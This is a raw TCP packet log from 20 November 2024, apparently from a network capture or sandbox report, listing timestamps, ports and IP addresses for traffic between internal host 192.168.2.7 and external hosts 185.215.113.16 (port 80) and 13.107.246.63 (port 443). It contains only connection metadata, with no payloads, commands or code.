Nov 20, 2024 17:41:45.060832977 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.060877085 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.062721014 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.063090086 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.063136101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.065063953 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.065288067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.065411091 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.067373037 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.067619085 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.067666054 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.069458961 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.069511890 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.069556952 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.071563005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.071763992 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.071805954 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.073709965 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.073853016 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.073900938 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.075671911 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.075932980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.075975895 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.077658892 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.077924967 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.077969074 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.079624891 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.079703093 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.079744101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.081665993 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.081876040 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.081921101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.083635092 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.083730936 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.083774090 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.085566998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.085794926 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.085834980 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.086441994 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.086617947 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.086678028 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.086832047 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.086844921 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.086858988 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.086867094 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.087559938 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.087625980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.087675095 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.089591980 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.089745045 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.089803934 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.090421915 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.090451956 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.090523958 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.090814114 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.090826988 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.091511011 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.091640949 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.091682911 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.093561888 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.093764067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.093806028 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.094693899 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.094857931 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.094913006 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.095021963 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.095032930 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.095043898 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.095048904 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.095510006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.095596075 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.095650911 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.097466946 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.097553968 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.097579956 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.097629070 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.097682953 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.097798109 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.098083019 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.098097086 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.099477053 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.099586964 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.099633932 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.101425886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.101809025 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.101852894 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.103530884 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.103833914 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.103878021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.105385065 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.105595112 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.105638027 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.107440948 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.107592106 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.107635975 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.109402895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.109664917 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.109708071 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.111365080 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.111588001 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.111628056 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.113374949 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.113890886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.113934994 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.115320921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.115437984 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.115483046 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.117269039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.117415905 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.117459059 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.119260073 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.119463921 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.119508028 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.121248007 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.121315956 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.121359110 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.123214006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.123430014 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.123473883 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.125310898 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.125386000 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.125431061 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.127268076 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.127459049 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.127502918 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.129348993 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.129508972 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.129550934 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.131225109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.131572962 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.131616116 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.133174896 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.133730888 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.133776903 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.135152102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.135194063 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.135235071 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.137093067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.137331009 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.137372971 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.139115095 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.139620066 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.139664888 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.141123056 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.141824007 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.141868114 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.143157005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.143321991 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.143362999 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.145098925 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.145292044 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.145334005 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.147030115 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.147384882 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.147433996 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.149003029 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.149338007 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.149384022 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.150974035 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.151138067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.151180983 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.153002024 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.153142929 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.153184891 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.173652887 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.173713923 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.173773050 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.173959017 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.173978090 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.173990965 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.173998117 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.175849915 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.175865889 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.175991058 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.176033974 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.176044941 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.188889027 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.188936949 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.188982964 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.189620018 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.189627886 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.189640999 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.189646006 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.193450928 CET	49767	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.193471909 CET	443	49767	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.193530083 CET	49767	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.193702936 CET	49767	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.193720102 CET	443	49767	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.249062061 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.249119997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.249170065 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.250016928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.250072002 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.250113010 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.251957893 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.252052069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.252096891 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.253880978 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.253964901 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.254008055 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.255861044 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.255922079 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.255965948 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.257878065 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.257957935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.258002043 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.259816885 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.260106087 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.260149002 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.261950016 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.262048006 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.262090921 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.263793945 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.263880968 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.263926029 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.265758991 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.265947104 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.265986919 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.267757893 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.267976999 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.268022060 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.269711971 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.269804955 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.269846916 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.271898031 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.271954060 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.271996975 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.273121119 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.273205996 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.273247957 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.274741888 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.274854898 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.274895906 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.275635004 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.275722980 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.275789022 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.275994062 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.276038885 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.276071072 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.276087046 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.276458025 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.276478052 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.276524067 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.278027058 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.278135061 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.278187990 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.279443026 CET	49768	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.279493093 CET	443	49768	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.279561996 CET	49768	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.279664040 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.279752016 CET	49768	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:45.279762983 CET	443	49768	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:45.280131102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.280174017 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.281296968 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.281686068 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.281727076 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.282989979 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.283118010 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.283164978 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.284662008 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.284773111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.284813881 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.286369085 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.286581039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.286623001 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.287993908 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.288044930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.288085938 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.289622068 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.289916992 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.289963007 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.291374922 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.291621923 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.291666985 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.292892933 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.293462992 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.293504953 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.294565916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.295245886 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.295293093 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.296219110 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.296603918 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.296643972 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.297939062 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.298408031 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.298449039 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.299526930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.299685955 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.299730062 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.301166058 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.301677942 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.301719904 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.303375959 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.303575039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.303616047 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.304852962 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.305027962 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.305069923 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.306144953 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.306294918 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.306334972 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.307809114 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.308008909 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.308049917 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.309442997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.309535027 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.309576035 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.311110020 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.311475039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.311513901 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.312809944 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.312829971 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.312870979 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.314409018 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.314527988 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.314570904 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.316077948 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.316448927 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.316493034 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.317709923 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.318049908 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.318090916 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.319417000 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.319869041 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.319914103 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.321075916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.321152925 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.321193933 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.322751045 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.322822094 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.323107004 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.324377060 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.324912071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.324959040 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.326014042 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.326057911 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.326102018 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.327645063 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.327796936 CET	80	49758	185.215.113.16	192.168.2.7
